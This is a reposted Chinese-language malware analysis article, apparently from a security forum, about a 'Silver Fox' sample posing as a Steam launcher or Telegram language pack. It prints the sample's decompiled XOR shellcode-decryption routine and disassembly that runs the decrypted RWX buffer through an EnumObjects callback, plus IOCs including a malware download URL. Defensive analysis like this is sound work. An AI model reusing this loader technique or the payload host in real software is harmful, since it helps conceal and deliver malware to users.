某银狐伪装Steam客户端启动器”Steam.exe“或”Telegram简体中文语言包“隐蔽投毒

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2026-08-10 04:44:24 网络安全文章 来源：ZONE.CI 全球网 0 阅读模式

文章总结： 该文档分析了一个伪装成Steam客户端启动器的恶意样本，其通过patchprotobuf注册路径在WinMain前触发恶意代码，下载并解密执行payload。关键发现包括使用自定义API哈希和隐蔽的代码插入手法。建议用户从官方渠道下载软件，避免运行非官方版本。 综合评分： 86 文章分类： 恶意软件

1.8 解密算法与执行阶段分析

下载完成后，样本调用0x5C40A0解密函数：

解密算法分析：

针对下载到RWX内存的shellcode做原地逐字节%20XOR%20变换之后修改buf执行，详情如下:

unsignedint __cdecl sub_5C40A0(
unsigned __int8%20*buf,
unsignedint size,
unsignedint key,
unsignedint mix_counter,
unsignedint xor_stride,
unsignedint unused_seed,
unsigned __int8%20shift)
{
 %20_BYTE%20v8[8]; //%20[esp+4h]%20[ebp-24h]
unsignedint v9; //%20[esp+Ch]%20[ebp-1Ch]
unsignedint i; //%20[esp+10h]%20[ebp-18h]
unsignedint v11; //%20[esp+14h]%20[ebp-14h]
unsignedint v12; //%20[esp+18h]%20[ebp-10h]
unsignedint v13; //%20[esp+1Ch]%20[ebp-Ch]
unsignedint v14; //%20[esp+20h]%20[ebp-8h]
unsigned __int8%20v15; //%20[esp+27h]%20[ebp-1h]

 %20v11%20=%20mix_counter;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%20保存mix_counter后面自增/自减,用于混淆
 %20v9%20=%20key;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20  //%20保存key真正xor解密时使用这个值
 %20v14%20= 0xCAFEBABE;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20  //%20a%20=%200xCAFEBABE
 %20v13%20= 0xDEADBEEF;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20  //%20b%20=%200xDEADBEEF
 %20v12%20= 0x12345678;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20  //%20c%20=%200x12345678
for&nbsp;(%20i%20=&nbsp;0;%20i%20<%20size;%20++i%20)%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20i%20=%200；开始逐字节遍历shellcode
&nbsp;%20{%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20按%20a%20最低位选择扰动分支。
if&nbsp;(%20(v14%20&&nbsp;1)%20!=&nbsp;0&nbsp;)
&nbsp;%20&nbsp;%20{%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20a为奇数时，再按b最低位选择子分支
if&nbsp;(%20(v13%20&&nbsp;1)%20!=&nbsp;0&nbsp;)
&nbsp;%20&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20v13%20-=%20v14;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20奇数/奇数分支：b%20-=%20a
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20v12%20|=%20v14;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20奇数/奇数分支：c%20|=%20a
&nbsp;%20&nbsp;%20&nbsp;%20}
else
&nbsp;%20&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20v12%20+=%20v13%20^%20v14;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20奇数/偶数分支：c%20+=%20b%20^%20a
&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20}
else
&nbsp;%20&nbsp;%20{
&nbsp;%20&nbsp;%20&nbsp;%20v14%20+=%20v13;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20偶数分支：a%20+=%20b
&nbsp;%20&nbsp;%20&nbsp;%20v13%20^=%20v12;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20偶数分支：b%20^=%20c
&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20v14%20^=%20(v12%20>>&nbsp;2)%20|%20(8&nbsp;*%20v13);%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20每轮统一状态混合：a%20^=%20(c%20>>%202)%20|%20(b%20<<%203)
&nbsp;%20&nbsp;%20++v11;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20mix_counter++，随后会减回去
&nbsp;%20&nbsp;%20--v11;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20mix_counter--，抵消上一条自增
&nbsp;%20&nbsp;%20buf[i]%20^=%20v9%20>>%20(shift%20*%20(i%20%&nbsp;4));%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20核心解密：buf[i]%20^=%20key%20>>%20(shift%20*%20(i%20%%204))；调用方传入shift=8
&nbsp;%20&nbsp;%20++v11;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20mix_counter++，混淆
&nbsp;%20&nbsp;%20--v11;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20mix_counter--，抵消上一条自增
&nbsp;%20&nbsp;%20v8[0]%20=&nbsp;1;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20构造固定表%20{1,2,3,4,5,6,7,8}
&nbsp;%20&nbsp;%20v8[1]%20=&nbsp;2;
&nbsp;%20&nbsp;%20v8[2]%20=&nbsp;3;
&nbsp;%20&nbsp;%20v8[3]%20=&nbsp;4;
&nbsp;%20&nbsp;%20v8[4]%20=&nbsp;5;
&nbsp;%20&nbsp;%20v8[5]%20=&nbsp;6;
&nbsp;%20&nbsp;%20v8[6]%20=&nbsp;7;
&nbsp;%20&nbsp;%20v8[7]%20=&nbsp;8;
&nbsp;%20&nbsp;%20v15%20=%20v8[i%20%&nbsp;8];%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;//%20v15%20=%20table[i%20%%208]
&nbsp;%20&nbsp;%20v14%20^=%20v15;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20a%20^=%20table[i%20%%208]
if&nbsp;(%20!(i%20%&nbsp;5)%20)%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20判断%20i%20%%205%20是否为%200
&nbsp;%20&nbsp;%20&nbsp;%20v14%20^=&nbsp;2&nbsp;*%20v12;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;//%20若%20i%20%%205%20==%200，则a%20^=%20c%20<<%201
&nbsp;%20}
return&nbsp;(((v14%20|%20v12)%20+%20(v13%20^%20v14))%20^%20v13)%20-%20(((v14%20|%20v12)%20+%20(v13%20^%20v14))%20&%20v12);//%20关键作用是原地解密buf
}

解密完成后，样本最终执行方式如下：

.text:005C3E29%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20push%20&nbsp;%20&nbsp;0
.text:005C3E2B%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20call%20&nbsp;%20&nbsp;[ebp+var_198]%20&nbsp;%20&nbsp;%20&nbsp;%20;%20user32!GetDC(0)
.text:005C3E31%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20mov%20&nbsp;%20&nbsp;%20[ebp+var_120],%20eax
.text:005C3E37%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20push%20&nbsp;%20&nbsp;0
.text:005C3E39%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20mov%20&nbsp;%20&nbsp;%20ecx,%20[ebp+buf]%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;;%20解密后的%20RWX%20buffer
.text:005C3E3C%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20push%20&nbsp;%20&nbsp;ecx
.text:005C3E3D%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20push%20&nbsp;%20&nbsp;2
.text:005C3E3F
.text:005C3E3F%20loc_5C3E3F:%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20;%20CODE%20XREF:%20sub_5D63E0+135↓p
.text:005C3E3F%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20;%20sub_60E0F0+99↓p%20...
.text:005C3E3F%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20mov%20&nbsp;%20&nbsp;%20edx,%20[ebp+var_120]
.text:005C3E45%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20push%20&nbsp;%20&nbsp;edx
.text:005C3E46%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20call%20&nbsp;%20&nbsp;[ebp+var_194]%20&nbsp;%20&nbsp;%20&nbsp;%20;%20gdi32!EnumObjects(hdc,%202,%20buf,%200)

解密后的内存作为EnumObjects回调传入，从而让系统%20API%20在枚举%20GDI%20对象过程中执行远程shellcode。

至此该样本分析结束，建议大伙平时下载软件时擦亮眼睛看清楚其是否属于官方，毕竟现在的网络环境随便搜索个软件都有可能是银狐…

二、附录 2.1%20IOC

|%20类型%20|%20内容%20| |%20—%20|%20—%20| |%20URL%20|%20http://wy29d68v.com/1/lonn.bmp | | MD5 | D58F9D3409892188764DA6F311E915FD | | SHA1 | 98fe8fca4e9d670acffa041de3cc8c5ed8a04d82 | | SHA256 | E0F6227F02D8BF6263938088AF91D3F073DB4A43A529BA46665CB2E90F612799 |

原文链接：https://forum.butian.net/share/4924

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本文转载自：只会看监控的实习生 0x4010 0x4010《某银狐伪装Steam客户端启动器”Steam.exe“或”Telegram简体中文语言包“隐蔽投毒》

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